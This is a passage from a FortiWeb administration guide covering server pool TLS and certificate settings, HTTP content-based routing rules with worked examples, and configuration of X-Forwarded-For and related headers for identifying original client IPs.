Certificate Verification	Select the name of a certificate verifier, if any, that FortiWeb uses to validate an HTTP client's personal certificate. However, if you select Enable Server Name Indication (SNI) (page 405) and the domain in the client request matches an entry in the specified SNI policy, FortiWeb uses the SNI configuration to determine which certificate verifier to use. If you do not select a verifier, clients are not required to present a personal certificate. For details, see "How to apply PKI client authentication (personal certificates)" on page 454. Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the website (PKI authentication). You can require that clients present a certificate instead of, or in addition to, HTTP authentication. For details, see "Offloading HTTP authentication & authorization" on page 343. Note: The client must support TLS 1.0, TLS 1.1, or TLS 1.2. Available only when the Type (page 398) is Reverse Proxy.

Enable URL Based Client Certificate	Specifies whether FortiWeb uses a URL-based client certificate group to determine whether a client is required to present a personal certificate. Note: This function is not supported for HTTP/2 communication between the Client and this back-end web server.
URL Based Client Certificate Group	Specifies the URL-based client certificate group that determines whether a client is required to present a personal certificate. If the URL the client requests does not match an entry in the group, the client is not required to present a personal certificate. For details about creating a group, see "Use URLs to determine whether a client is required to present a certificate" on page 466.
Max HTTP Request Length	Specifies the maximum allowed length for an HTTP request with a URL that matches an entry in the URL-based client certificate group. FortiWeb blocks any matching requests that exceed the specified size. This setting prevents a request from exceeding the maximum buffer size.
Client Certificate Forwarding	Enable to configure FortiWeb to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an <code>X-Client-Cert:</code> HTTP header when it forwards the traffic to the protected web server. FortiWeb still validates the client certificate itself, but this forwarding action can be useful if the web server requires the client certificate for the purpose of server-side identity-based functionality.
Custom Header of CCF Subject	Enter a custom subject header that will include the subject of the X.509 personal certificate presented by the client during the SSL/TLS handshake when it forwards the traffic to the protected web server. Available only when Client Certificate Forwarding (page 405) is enabled.
Custom Header of CCF Certificate	Enter a custom certificate header that will include the Base64 certificate of the X.509 personal certificate presented by the client during the SSL/TLS handshake when it forwards the traffic to the protected web server. Available only when Client Certificate Forwarding (page 405) is enabled.
Enable Server Name Indication (SNI)	Select to use a Server Name Indication (SNI) configuration instead of or in addition to the server certificate specified by Certificate File (page 403).

	The SNI configuration enables FortiWeb to determine which certificate to present on behalf of the pool member based on the domain in the client request. For details, see "Allowing FortiWeb to support multiple server certificates" on page 450. If you specify both an SNI configuration and Certificate File (page 403), FortiWeb uses the certificate specified by the Certificate File (page 403) when the domain in the client request does not match a value in the SNI configuration. If you select Enable Strict SNI (page 406), FortiWeb always ignores the value of the Certificate File (page 403).
Enable Strict SNI	Select to configure FortiWeb to ignore the value of Certificate File (page 403) when it determines which certificate to present on behalf of the pool member, even if the domain in a client request does not match a value in the SNI configuration. Available only if Enable Server Name Indication (SNI) (page 405) is selected.
SNI Policy	Select the Server Name Indication (SNI) configuration that FortiWeb uses to determine which certificate it presents on behalf of this pool member. Available only if Enable Server Name Indication (SNI) (page 405) is selected.
Enable OCSP Stapling	Select to enable OCSP stapling for the specified certificate. For details, see "Configuring OCSP stapling" on page 473. This option is available in a server pool only if the type is True Transparent Proxy or WCCP. To enable OCSP stapling when the type is Reverse Proxy, you must configure it in a server policy. For details, see "Enable OCSP Stapling" (page 285).
OCSP Stapling Config	Select an OCSP stapling policy to apply to the specified certificate. Available only if Enable OCSP Stapling (page 406) is selected.
Supported SSL Protocols	Specify which versions of the SSL or TLS cryptographic protocols clients can use to connect securely to this pool member. For details, see "Supported cipher suites & protocol versions" on page 432. Available when: • SSL (page 402) is enabled, and • The Type (page 398) is Reverse Proxy, True Transparent Proxy, or WCCP.
SSL/TLS encryption level	Specify whether the set of cipher suites that FortiWeb allows creates a

	medium-security, high-security, or custom configuration. For details, see "Supported cipher suites & protocol versions" on page 432. Available when: • SSL (page 402) is enabled, and • The Type (page 398) is Reverse Proxy, True Transparent Proxy, or WCCP.
Disable Client-Initiated SSL Renegotiation	Select to ignore requests from clients to renegotiate TLS or SSL. This setting protects against denial-of-service (DoS) attacks that use TLS/SSL renegotiation to overburden the server. Available only when the Type (page 398) is Reverse Proxy or True Transparent Proxy.
Recover	Specifies the number of seconds that FortiWeb waits before it forwards traffic to this pool member after a health check indicates that this server is available again. The default is 0 (disabled). The valid range is 0 to 86,400 seconds. After the recovery period elapses, FortiWeb assigns connections at the rate specified by Warm Rate (page 407). Examples of when the server experiences a recovery and warm-up period: • A server is coming back online after the health check monitor detected it was down. • A network service is brought up before other daemons have finished initializing and therefore the server is using more CPU and memory resources than when startup is complete. To avoid connection problems, specify the separate warm-up rate, recovery rate, or both. Tip: During scheduled maintenance, you can also manually apply these limits by setting Status (page 400) to Maintenance.
Warm Up	Specifies for how long FortiWeb forwards traffic at a reduced rate after a health check indicates that this pool member is available again but it cannot yet handle a full connection load. For example, when the pool member begins to respond but startup is not fully complete. The default is 0 (disabled). The valid range is 1 to 86,400 seconds.
Warm Rate	Specifies the maximum connection rate while the pool member is starting up.

The default is 10 connections per second. The valid range is 0 to 86,400 connections per second.

The warm up calibration is useful with servers that bring up the network service before other daemons are initialized. As these types of servers come online, CPU and memory are more utilized than they are during normal operation. For these servers, you define separate rates based on warm-up and recovery behavior.

For example, if **Warm Up** (page 407) is 5 and **Warm Rate** is 2, the maximum number of new connections increases at the following rate:

- 1st second—Total of 2 new connections allowed (0+2).
- 2nd second—2 new connections added for a total of 4 new connections allowed (2+2).
- 3rd second—2 new connections added for a total of 6 new connections allowed (4+2).
- 4th second—2 new connections added for a total of 8 new connections allowed (6+2).
- 5th second—2 new connections added for a total of 10 new connections allowed (8+2).

8. Repeat the previous steps for each IP address or domain that you want to add to the server pool.

9. Click **OK**.

10. To apply the server pool configuration, do one of the following:

- Select it in a server policy directly.
- Select it in an HTTP content writing policy that you can, in turn, select in a server policy.

For details, see ["Configuring a server policy"](#) on page 277 and ["Routing based on HTTP content"](#) on page 408.

See also

- ["IPv6 support"](#) on page 60
- ["HTTP pipelining"](#) on page 289
- ["Routing based on HTTP content"](#) on page 408
- ["Configuring a server policy"](#) on page 277
- ["Configuring server up/down checks"](#) on page 390
- ["Sequence of scans"](#) on page 56
- ["How to offload or inspect HTTPS"](#) on page 439
- ["Forcing clients to use HTTPS"](#) on page 452

Routing based on HTTP content

Instead of dynamically routing requests to a server pool simply based upon load or connection distribution at the TCP/IP layers, as basic load balancing does, you can forward them based on the host, headers or other content in the HTTP layer.


HTTP content routing policies define how FortiWeb routes requests to server pools. They are based on one or more of the following HTTP elements:

- Host
- URL
- HTTP parameter
- Referer
- Source IP
- Header
- Cookie
- X509 certificate field value

This type of routing can be useful if, for example, a specific web server or group of servers on the back end support specific web applications, functions, or host names. That is, your web servers or server pools are not identical, but specialized. For example:

- 192.168.0.1—Hosts the website and blog
- 192.168.0.2 and 192.168.0.3—Host movie clips and multimedia
- 192.168.0.4 and 192.168.0.5—Host the shopping cart

Another example is a topology where back-end servers or a traffic controller (TC) server externally manage how FortiWeb routes and balances the traffic load. The TC embeds a cookie that indicates how to route the client's next request. In the diagram, if a request has no cookie (that is, it initializes a session), FortiWeb's HTTP content routing is configured to forward that request to the TC, Web Server 1. For subsequent requests, as long as the cookie exists, FortiWeb routes those requests to Web Server 2.



When FortiWeb operates in Reverse Proxy mode, HTTP Content Routing will be not supported if HTTP/2 security inspection is enabled. For details, see ["HTTP/2 support"](#) on page 69.

To configure HTTP header-based routing

1. Go to **Server Objects > Server > HTTP Content Routing**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. For **Name**, enter a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

4. For **Server Pool**, select a server pool. FortiWeb forwards traffic to this pool when the traffic matches rules in this policy.

You select only one server pool for each HTTP content routing configuration. However, multiple HTTP content routing configurations can use the same server pool.

For details, see ["Creating a server pool"](#) on page 397.

5. Click **OK**, then click **Create New**.

6. Configure these settings:



If you've configured request rewriting, configure HTTP content-based routing based on the **original** request, as it appears **before** FortiWeb has rewritten it.

For more information on rewriting, see ["Rewriting & redirecting"](#) on page 622.

Match Object

Select the object that FortiWeb examines for matching values.

HTTP Host

HTTP Host

Specify one of the following values to match:

- **Match prefix**—The host to match begins with the specified string.
- **Match suffix**—The host to match ends with the specified string.
- **Match contains**—The host to match contains the specified string.
- **Match domain**—The host to match contains the specified string between the periods in a domain name.

For example, if the value is `abc`, the condition matches the following hostnames:

```
dname1.abc.com
dname1.dname2.abc.com
```

However, the same value does not match the following hostnames:

```
abc.com
dname.abc
```

	• Is equal to—The host to match is the specified string. • Regular expression—The host to match has a value that matches the specified regular expression.
(value)	Specifies a host value to match. If Regular Expression is selected, the value is an expression that matches the object. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match either this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
HTTP URL	
HTTP URL	Specify one of the following values to match: • Match prefix—The URL to match begins with the specified string. • Match suffix—The URL to match ends with the specified string. • Match contains—The URL to match contains the specified string. • Match directory—The URL to match contains the specified string between delimiting characters (slash). For example, if the value is <code>abc</code>, the condition matches the following URLs: <pre>test.com/abc/ test.com/dir1/abc/</pre> However, the same value does not match the following URLs: <pre>test.com/abc test.abc.com</pre> • Is equal to—The URL to match is the specified string. • Regular expression—The URL to match matches the specified regular expression.
(value)	Specifies a URL to match. For example, a literal URL, such as <code>/index.php</code>, that a matching HTTP request contains. For example, when Is equal to is selected, the value

`/dir1/abc/index.html` matches the following URL:

`http://test.abc.com/dir1/abc/index.html`

If **Regular Expression** is selected, the value is an expression that matches the object. For example, `^/*\.php`.

To create and test a regular expression, click the **>>** (test) icon. For details, see ["Regular expression syntax"](#) on page 829.

Relationship with previous rule

- **And**—Matching requests match this entry in addition to other entries in the HTTP content routing list.
- **Or**—Matching requests match either this entry or other entries in the list.

Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.

HTTP Parameter

Parameter Name

Specify one of the following values to match:

- **Match prefix**—The parameter name to match begins with the specified string.
- **Match suffix**—The parameter name to match ends with the specified string.
- **Match contains**—The parameter name to match contains the specified string.
- **Is equal to**—The parameter name to match is the specified string.
- **Regular expression**—The parameter name to match matches the specified regular expression.

(value)

Specifies a parameter name to match.

If **Regular Expression** is selected, the value is an expression that matches the object.

To create and test a regular expression, click the **>>** (test) icon. For details, see ["Regular expression syntax"](#) on page 829.

Parameter Value

Specify one of the following values to match:

- **Match prefix**—The parameter value to match begins with the specified string.
- **Match suffix**—The parameter value to match ends with the specified string.
- **Match contains**—The parameter value to match contains the specified string.
- **Is equal to**—The parameter value to match is the specified string.
- **Regular expression**—The parameter value to match matches the specified regular expression.

(value)

Specifies a parameter value to match.

If Regular Expression is selected, the value is an expression that matches the object. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.	
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
HTTP Referer	
HTTP Referer	Specify one of the following values to match: • Match prefix—The HTTP referer value to match begins with the specified string. • Match suffix—The HTTP referer value to match ends with the specified string. • Match contains—The HTTP referer value to match contains the specified string. • Is equal to—The HTTP referer value to match is the specified string. • Regular expression—The HTTP referer value to match matches the specified regular expression.
(value)	Specifies an HTTP referer value to match. If Regular Expression is selected, the value is an expression that matches the HTTP referer value. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
HTTP Cookie	
HTTP Cookie	Specify one of the following values to match: • Match prefix—The cookie name to match begins with the specified string. • Match suffix—The cookie name to match ends with the specified string. • Match contains—The cookie name to match contains the specified string. • Is equal to—The cookie name to match is the specified string.

	• Regular expression—The cookie name to match matches the specified regular expression.
(value)	Specifies a cookie name to match. If Regular Expression is selected, the value is an expression that matches the name. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Cookie Value	Specify one of the following values to match: • Match prefix—The cookie value to match begins with the specified string. • Match suffix—The cookie value to match ends with the specified string. • Match contains—The cookie value to match contains the specified string. • Is equal to—The cookie value to match is the specified string. • Regular expression—The cookie value to match matches the specified regular expression. For example, <code>hash[a-fA-F0-7]*</code>.
(value)	Specifies a cookie value to match. If Regular Expression is selected, the value is an expression that matches the cookie value. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match either this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
HTTP Header	
Header Name	Specify one of the following values to match: • Match prefix—The header name to match begins with the specified string. • Match suffix—The header name to match ends with the specified string. • Match contains—The header name to match contains the specified string. • Is equal to—The header name to match is the specified string. • Regular expression—The header name to match matches the specified regular expression.

(value)	Specifies a header name to match. If Regular Expression is selected, the value is an expression that matches the name. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Header Value	Specify one of the following values to match: • Match prefix—The header value to match begins with the specified string. • Match suffix—The header value to match ends with the specified string. • Match contains—The header value to match contains the specified string. • Is equal to—The header value to match is the specified string. • Regular expression—The header value to match matches the specified regular expression.
(value)	Specifies a header value to match. If Regular Expression is selected, the value is an expression that matches the header value. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
Source IP	
Source IP	Specify one of the following values to match: • IPv4 Address/Range—The source IP to match is an IPv4 IP address or within a range of IPv4 IP addresses. • IPv6 Address/Range—The source IP to match is an IPv6 IP address or within a range of IPv6 IP addresses. • Regular expression—The source IP to match matches the specified regular expression.
(value)	Specifies a source IP address value to match. If Regular Expression is selected, the value is an expression that matches the source IP. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.

Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match either this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
X509 Certificate Subject	Matches against a specified Relative Distinguished Name (RDN) in the X509 certificate <code>Subject</code> field. Use an attribute-value pair to specify the RDN. For example, an X509 certificate has the following <code>Subject</code> field content: <pre>C=CN, ST=Beijing, L=Haidian, O=fortinet, OU=fortiweb, CN=pc110</pre> The following settings match a certificate with this <code>Subject</code> field by matching the RDN <code>O=fortinet</code>: • X509 Field Name—<code>O</code> • Value —<code>fortinet</code>
X509 Field Name	Select the attribute type to match: E, CN, OU, O, L, ST, C.
Value =	Enter an RDN attribute value in the X509 <code>Subject</code> field to match.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match either this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.
X509 Certificate Extension	Matches against additional fields that the extensions field adds to the X509 certificate. For example, an X509 certificate has the following extensions: <pre>Extensions: X509v3 Basic Constraints: CA:TRUE X509v3 Subject Alternative Name: URI:aaaa X509v3 Issuer Alternative Name: URI:bbbb Full Name: URI:cccc</pre> The following settings match the extension X509v3 Basic Constraints by matching its value: • Match Object—X509 Certificate Extension • X509 Field Value—Is equal to • (value)—<code>CA:TRUE</code>
X509 Field Value	Specify one of the following values in the X509 extension to match:

	• Match prefix—The X509 extension value to match begins with the specified string. • Match suffix—The X509 extension value to match ends with the specified string. • Match contains—The X509 extension value to match contains the specified string. • Is equal to—The X509 extension value to match is the specified string. • Regular expression—The X509 extension value matches the specified regular expression.
(value)	Specifies an X509 extension value to match. If Regular Expression is selected, the value is an expression that matches the X509 extension value. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Relationship with previous rule	• And—Matching requests match this entry in addition to other entries in the HTTP content routing list. • Or—Matching requests match either this entry or other entries in the list. Later, you can use the HTTP content routing list options to adjust the matching sequence for entries.

7. Click **OK**.

8. Repeat the rule creation steps for each HTTP host, HTTP request, or other object that you want to route to this server pool.

9. If required, select an entry, and then click **Move** to adjust the rule sequence.

For an example of how to add logic for the rules, see ["Example: Concatenating exceptions"](#) on page 524.

10. Click **OK**.

11. Repeat the policy creation procedure for each server pool, as required. You can also create additional policies that select the same server pool.

12. To apply a HTTP content routing policy, select it in a server policy. When you add HTTP content routing policies to a policy, you also select a default policy. The default policy routes traffic that does not match any conditions found in the specified routing policies.

For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["Adding a gateway"](#) on page 178
- ["Creating a server pool"](#) on page 397
- ["Enabling or disabling traffic forwarding to your servers"](#) on page 429
- ["Configuring a server policy"](#) on page 277
- ["Configuring server up/down checks"](#) on page 390

Example: Routing according to URL/path

Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).

From the perspective of clients connecting to the front end, there is one domain name: `www.example.com`. At this host name, there are three top-level URLs:

- `/games`—Game application
- `/school`—School application
- `/work`—Work application

In a client's web browser, therefore, they might go to the location:

`http://www.example.com/games`

Behind the FortiWeb, however, each of those 3 web applications actually resides on separate back-end web servers with different IP addresses, and each has its own server pool:

- `10.0.0.11/games`—Game application
- `10.0.0.12/school`—School application
- `10.0.0.13/work`—Work application

In this case, you configure HTTP content routing so FortiWeb routes HTTP requests to `http://www.example.com/school` to the server pool that contains `10.0.0.12`. Similarly, requests for the URL `/games` go to a pool that contains `10.0.0.11`, and requests for the URL `/work` go to a pool that contains `10.0.0.13`.

See also

- ["Routing based on HTTP content"](#) on page 408
- ["Creating a server pool"](#) on page 397
- ["Configuring server up/down checks"](#) on page 390

Example: Routing according to the HTTP "Host:" field

Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).

From the perspective of clients connecting to the front end, Example Company's website has a few domain names:

- `http://www.example.com`
- `http://www.example.cn`
- `http://www.example.de`
- `http://www.example.co.jp`

Public DNS resolves all of these domain names to one IP address: the virtual server on FortiWeb.

At the data center, behind the FortiWeb, separate physical web servers host some region-specific websites. Other websites have lighter traffic and are maintained by the same person, and therefore a shared server hosts them. Each back-end web server has a DNS alias. When you configure the server pools, you define each pool member using its DNS alias, rather than its IP address:

- `www1.example.com`—Hosts `www.example.com`, plus all other host names' content, in case the other web servers fail or have scheduled down time

- `www2.example.com`—Hosts `www.example.de`
- `www3.example.com`—Hosts `www.example.cn` & `www.example.co.jp`

While public DNS servers all resolve these aliases to the same IP address—FortiWeb's virtual server—your **private** DNS server resolves these DNS names to separate IPs on your **private** network: the back-end web servers.

- `www1.example.com`—Resolves to `192.168.0.1`
- `www2.example.com`—Resolves to `192.168.0.2`
- `www3.example.com`—Resolves to `192.168.0.3`

In this case, you configure HTTP content routing to route requests from clients based on the original `Host :` field in the HTTP header to a server pool that contains the appropriate DNS aliases. The destination back-end web server is determined at request time using server health check statuses, as well as private network DNS that resolves the DNS alias into its current private network IP address:

- `http://www.example.com/`—Routes to a pool that contains `www1.example.com`
- `http://www.example.de/`—Routes to a pool that contains members `www2.example.com` and `www1.example.com`. The `www2.example.com` pool member is first in the list and receives requests unless that web server is down, in which case FortiWeb routes requests to `www1.example.com`
- `http://www.example.cn/` & `http://www.example.co.jp/`—Routes to a pool that contains members `www3.example.com` and `www1.example.com`. The `www3.example.com` pool member is first in the list and receives requests unless that web server is down, in which case FortiWeb routes requests to `www1.example.com`

If you need to maintain HTTP session continuity for web applications, ensure the pool have a persistence policy that forwards subsequent requests from a client to the same back-end web server as the initial request.

See also

- ["Routing based on HTTP content"](#) on page 408
- ["Rewriting & redirecting"](#) on page 622
- ["Creating a server pool"](#) on page 397
- ["Configuring server up/down checks"](#) on page 390

Example: HTTP routing with full URL & host name rewriting

In some cases, HTTP header-based routing is not enough. It must be, or should be, combined with request or response rewriting.

Example.com hosts calendar, inventory, and customer relations management web applications separately: one app per specialized server. Each web application resides in its web server's root folder (/). Each back-end web server is named after the only web application that it hosts:

- `calendar.example.com/`
- `inventory.example.com/`
- `crm.example.com/`

Therefore each request must be routed to a specific back-end web server. Requests for the calendar application forwarded to `crm.example.com`, for example, would result in an HTTP 404 error code.

These back-end DNS names are publicly resolvable. However, for legacy reasons, clients may request pages as if all apps were hosted on a single domain, `www.example.com`:

- `www.example.com/calendar`
- `www.example.com/inventory`
- `www.example.com/crm`

Because the URLs requested by clients (prefixed by `/calendar` etc.) do not actually exist on the back-end servers, HTTP header-based routing is **not** enough. Alone, HTTP header-based routing with these older location structures would also result in HTTP 404 error codes, as if the clients' requests were effectively for:

- `calendar.example.com/calendar`
- `inventory.example.com/inventory`
- `crm.example.com/crm`

To compensate for the new structure on the back end, request URLs must be rewritten: FortiWeb removes the application name prefix in the URL.

URL and host name transformation to match HTTP routing

GET `/calendar` HTTP/1.1
Host: `www.example.com` → GET `/` HTTP/1.1
Host: `calendar.example.com`

For performance reasons, FortiWeb also rewrites the `Host:` field. All subsequent requests from the client use the correct host and URL and do not require any modification or HTTP-based routing. Otherwise, FortiWeb would need to rewrite **every** subsequent request in the session, and analyze the HTTP headers for routing **every** subsequent request in the session.

See also

- ["Routing based on HTTP content"](#) on page 408
- ["Rewriting & redirecting"](#) on page 622
- ["Creating a server pool"](#) on page 397

Defining your proxies, clients, & X-headers


In some topologies, you must configure FortiWeb's use of X-headers such as `X-Forwarded-For:`, `X-Real-IP:`, or `True-Client-IP:`, including when:

- **FortiWeb has been deployed behind a proxy/load balancer which applies NAT.** Connection-wise, this causes all requests appear to come from the IP address of the proxy or load balancer, **not** the original client. FortiWeb **requires the true client's source IP so that when blocking attacks, it does not block the proxy/load balancer's IP, affecting innocent requests.** FortiWeb also requires some way to derive the original client's IP so that attack logs and reports to show the IP of the actual attacker, rather than misleadingly blaming the load balancer.
- **The web server needs the client's source IP address** for purposes such as analytics, but FortiWeb is operating in Reverse Proxy mode, which applies NAT, and therefore all requests appear to come from FortiWeb's IP address.

Due to source NAT (SNAT), a packet's source address in its IP layer may have been changed, and therefore the original address of the client may not be directly visible to FortiWeb and/or its protected web servers. During a packet's transit from the client to the web server, it could be changed several times: web proxies, load balancers, routers, and firewalls can all apply NAT.

Depending on whether the NAT devices are HTTP-aware, the NAT device can record the packet's original source IP address in the HTTP headers. HTTP X-headers such as `X-Real-IP:` can be used by FortiWeb instead to trace the original source IP (and each source IP address along the path) in request packets. They may also be used by back-end web servers for client analysis.

Affects of source NAT at the IP and HTTP layers of request packets when in-between devices are HTTP-aware



Indicating the original client's IP to back-end web servers

Some web applications need to know the IP address of the client where the request originated in order to log or analyze it.

For example, if your web applications need to display different available products for clients in Canada instead of the United States, your web applications may need to analyze the original client's IP for a corresponding geographic location.

In that case, you would enable FortiWeb to add or append to an `X-Forwarded-For`: or `X-Real-IP`: header. Otherwise, from the web server's perspective, **all** IP sessions appear to be coming from FortiWeb—**not** from the original requester. The back-end web server would not be able to guess what the original client's public IP was, and therefore would not be able to analyze it. When these options are enabled, the web server can instead use this HTTP-layer header to find the public source IP and path of the IP-layer session from the original client.

To configure FortiWeb to add the packet's source IP to `X-Forwarded-For`: and/or `X-Real-IP`:

1. Go to **Server Objects > X-Forwarded-For**.
2. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters. Note: The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.
Add X-Forwarded-For:	Enable to include the <code>X-Forwarded-For</code>: HTTP header in requests forwarded to your web servers. If the HTTP client or web proxy does not provide the header, FortiWeb adds it, using the source IP address of the connection. If the HTTP client or web proxy already provides the header, it appends the source IP address to the header's list of IP addresses. This option can be useful if your web servers log or analyze clients' public IP addresses, if they support the <code>X-Forwarded-For</code>: header. If they do not, disable this option to improve performance. This option applies only when FortiWeb is operating in Reverse Proxy mode or True Transparent Proxy mode, which applies source network address translation (NAT) and therefore rewrites the source address in the IP layer.
Add X-Real-IP:	Enable to include the <code>X-Real-IP</code>: HTTP header on requests forwarded to your web servers. Behavior varies by the header already provided by the HTTP client or web proxy, if any (see Add X-Forwarded-For: (page 422)).

Like `X-Forwarded-For`, this header is also used by some proxies and web servers to trace the path, log, or analyze based upon the packet's original source IP address.

This option applies only when FortiWeb is operating in Reverse Proxy mode or True Transparent Proxy mode, which applies source network address translation (NAT) and therefore rewrites the source address in the IP layer.

Note: This does not support IPv6.

3. Click **OK**.
4. To apply the X-header rule, select it when configuring an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

See also

- ["External load balancers: before or after?"](#) on page 98

Indicating to back-end web servers that the client's request was HTTPS

Usually if your FortiWeb is receiving HTTPS requests from clients, and it is operating in Reverse Proxy mode, SSL/TLS is being offloaded. FortiWeb has terminated the SSL/TLS connection and the second segment of the request, where it forwards to the back-end servers, is clear text HTTP. In some cases, your back-end server may need to know that the original request was, in fact, encrypted HTTPS, **not** HTTP.

To add an HTTP header that indicates the service used in the client's original request, go to **Server Objects > X-Forwarded-For** and enable **X-Forwarded-Proto**.

See also

- ["Forcing clients to use HTTPS"](#) on page 452

Blocking the attacker's IP, not your load balancer

When you configure [Use X-Header to Identify Original Client's IP](#) (page 424), FortiWeb compensates for NAT in your data center by using an HTTP header to derive the client's IP address. In this way, even if the connection is **not** established directly between the web browser and FortiWeb, but instead is relayed, with the last segment established between your proxy/load balancer's IP and FortiWeb, FortiWeb will still be able to report and block the actual attacker, rather than your own infrastructure.

Only public IPs will be used. If the original client's IP is a private network IP (e.g. 192.168.*, 172.16.*, 10.*), FortiWeb will instead use the first public IP before or after the original client's IP in the HTTP header line. Whether this is counted from the left or right end of the header line depends on [IP Location in X-Header](#) (page 425). In most cases, this public IP will be the client's Internet gateway, and therefore blocking based on this IP may affect innocent clients that share the attacker's Internet connection. For details, see [Shared IP](#) (page 670).

To limit the performance impact, FortiWeb will analyze the HTTP header for the client's IP only for the **first** request in the TCP/IP connection. As a result, **it is not suitable for use behind load balancers that multiplex**—that is, attempt to reduce total simultaneous TCP/IP connections by sending multiple, unrelated HTTP requests from different clients within the same TCP/IP connection. Symptoms of this misconfiguration

include FortiWeb mistakenly attributing subsequent requests within the same TCP/IP connection to the IP found in the first request's HTTP header, even though the X-header indicates that the request originated from a different client.

After FortiWeb has traced the original source IP of the client, FortiWeb will use it in attack logs and reports so that they reflect the true origin of the attack, **not** your load balancer or proxy. FortiWeb will also use the original source IP as the basis for blocking when using some features that operate on the source IP:

- DoS prevention
- brute force login prevention
- period block



Like addresses at the IP layer, attackers can spoof and alter addresses in the HTTP layer. Do not assume that they are 100% accurate, unless there are anti-spoofing measures in place such as defining trusted providers of X-headers.

For example, on FortiWeb, if you provide the IP address of the proxy or load balancer, when blocking requests and writing attack log messages or building reports, instead of using the `SRC` field in the IP layer of traffic as the client's IP address (which would cause all attacks to appear to originate from the load balancer), FortiWeb can instead find the client's real IP address in the `X-Forwarded-For`: HTTP header. FortiWeb could also add its own IP address to the chain in `X-Forwarded-For`:, helping back-end web servers that require the original client's source IP for purposes such as server-side analytics—providing news in the client's first language or ads relevant to their city, for example.

Like IP-layer NAT, some networks also translate addresses at the HTTP layer. In those cases, enabling [Use X-Header to Identify Original Client's IP](#) may have no effect. To determine the name of your network's X-headers, if any, and to see whether or not they are translated, use `diagnose network sniffer` in the CLI or external packet capture software such as Wireshark.

To configure FortiWeb to obtain the packet's original source IP address from an HTTP header

1. Go to **Server Objects > X-Forwarded-For**.
2. Configure these settings:

Use X-Header to Identify Original Client's IP

If FortiWeb is deployed behind a device that applies NAT, enable this option to derive the original client's source IP address from an HTTP X-header, **instead of** the `SRC` field in the IP layer. Then type the key such as `X-Forwarded-For` or `X-Real-IP`, **without** the colon (:), of the X-header that contains the original source IP address of the client.

This HTTP header is often `X-Forwarded-For`: when traveling through a web proxy, but can vary. For example, the Akamai service uses `True-Client-IP`:

For deployment guidelines and mechanism details, see ["Blocking the attacker's IP, not your load balancer"](#) on page 423.

Caution: To combat forgery, configure the IP addresses of load balancers and proxies that are trusted providers of this header. Also configure those proxies/load balancers to reject fraudulent headers,

	rather than passing them to FortiWeb.
IP Location in X-Header	Select whether to extract the original client's IP from either the left or right end of the HTTP X-header line. Most proxies put the request's origin at the left end, which is the default setting. Some proxies, however, place it on the right end.
Block Using Original Client's IP	Enable to be able to block requests that violate your policies by using the original client's IP derived from this HTTP X-header. When disabled, attack logs and reports will not use the original client's IP.

3. Click **OK**.

4. Click **Create New**.

5. In **IP**, type the IP address of the external proxy or load balancer according to packets' **SRC** field in the IP layer when received by FortiWeb.

To apply anti-spoofing measures and improve security, FortiWeb will trust the contents of the HTTP header that you specified in [Use X-Header to Identify Original Client's IP](#) (page 424) **only** if the packet arrived from one of the IP addresses you specify here. Other packets' X-headers will be regarded as potentially spoofed.

6. Click **OK**.

The first dialog re-appears.

7. Click **OK** to save the configuration.

8. To apply the X-header rule, select it when configuring an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

See also

- ["External load balancers: before or after?"](#) on page 98
- ["IPv6 support"](#) on page 60
- ["Logging"](#) on page 690
- ["Alert email"](#) on page 712
- ["SNMP traps & queries"](#) on page 715
- ["Reports"](#) on page 720
- ["DoS prevention"](#) on page 604

Configuring virtual servers on your FortiWeb

Before you can create a server policy, you must first configure a virtual server that defines the network interface or bridge and IP address where traffic destined for a server pool arrives. When the FortiWeb appliance receives traffic destined for a virtual server, it can then forward the traffic to a single web server (for **Single Server** server pools) or distribute sessions/connections among servers in a server pool.

